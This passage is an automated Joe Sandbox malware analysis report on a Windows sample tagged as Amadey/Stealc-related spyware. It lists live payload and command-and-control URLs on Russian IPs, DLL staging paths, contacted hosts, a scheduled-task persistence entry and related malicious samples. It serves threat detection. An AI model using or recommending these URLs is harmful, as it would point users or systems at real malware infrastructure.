https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllnH	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpP	22%	Virustotal		Browse
http://77.91.77.81/stealc/random.exe%	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe	27%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://85.28.47.4/	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe;	100%	Avira URL Cloud	phishing
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://85.28.47.4/	18%	Virustotal		Browse
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	24%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.phpUd	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpV	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php2	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php.	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.phpGd	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpLb	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php2	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpV	22%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php.	21%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exephprefoxox	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exera	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	6%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/msvcp140.dll-f	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	22%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exeVs-=	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php:	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/mozglue.dll	7%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpr	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/nss3.dll	9%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	7%	Virustotal		Browse
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/	22%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php:	21%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exepData	100%	Avira URL Cloud	phishing
http://77.91.77.82/	23%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	25%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/freebl3.dllrf	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php	23%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll#ab=	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/freebl3.dll	6%	Virustotal		Browse
http://85.28.47.4/wd	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.phpZ	100%	Avira URL Cloud	malware
85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:HK	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpa	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpDTo	100%	Avira URL Cloud	malware
http://85.28.47.4	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpq	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpl	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpp	100%	Avira URL Cloud	malware
http://85.28.47.4/c9	100%	Avira URL Cloud	malware
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php~	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AECAECFC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpf	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpP	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	false	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllnH	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001695000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe%	explorti.exe, 0000000C.00000002.3236691594.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/	528307a0ac.exe, 0000000D.00000002.2717126137.0000000001898000.00000004.00000020.00020000.00000000.sdmp, 528307a0ac.exe, 0000000D.00000002.2717126137.00000000018AD000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	Wf9qnVcbi8.exe, 528307a0ac.exe.12.dr, random[1].exe.12.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe;	explorti.exe, 0000000C.00000002.3236691594.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	Wf9qnVcbi8.exe, 528307a0ac.exe.12.dr, random[1].exe.12.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.phpUd	528307a0ac.exe, 0000000D.00000002.2717126137.0000000001898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpV	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php2	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php.	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/920475a59bac849d.phpGd	528307a0ac.exe, 0000000D.00000002.2717126137.0000000001898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpLb	explorti.exe, 0000000C.00000002.3236691594.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exephprefoxox	Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exera	Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll-f	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/mine/amadka.exeVs-=	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001678000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php:	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226772721.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpr	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	true	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	true	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exepData	Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AECAECFC.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dllrf	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 0000000C.00000002.3236691594.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll#ab=	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/wd	528307a0ac.exe, 0000000D.00000002.2717126137.0000000001898000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/cost/go.exe00	Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpZ	Wf9qnVcbi8.exe, 00000000.00000003.2075361154.0000000001735000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:HK	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001695000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpa	Wf9qnVcbi8.exe, 00000000.00000003.2054865338.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.phpDTo	528307a0ac.exe, 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.000000000163E000.00000004.00000020.00020000.00000000.sdmp, 528307a0ac.exe, 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	AECAECFC.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpq	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000C.00000002.3236691594.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpl	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpp	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001655000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/c9	528307a0ac.exe, 0000000D.00000002.2717126137.00000000018AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pki-ocsp.symauth.com0	Wf9qnVcbi8.exe, 528307a0ac.exe.12.dr, random[1].exe.12.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php~	explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpMq	explorti.exe, 0000000C.00000002.3236691594.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AECAECFC.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465786
Start date and time:	2024-07-02 04:11:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Wf9qnVcbi8.exe renamed because original name is a hash value
Original Sample Name:	58972b34ce77f8d7bbaa3f5b5344db20.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/30@0/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target IDGHDGIDAK.exe, PID 3228 because it is empty
Execution Graph export aborted for target explorti.exe, PID 1716 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 2944 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:12:19	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
22:13:02	API Interceptor	1009x Sleep call for process: explorti.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.81/stealc/random.exe
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/stealc/random.exe
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	77.91.77.81/stealc/random.exe
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
85.28.47.4	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4/920475a59bac849d.php
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/69934896f997d5bb/sqlite3.dll
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4/920475a59bac849d.php
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.80
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
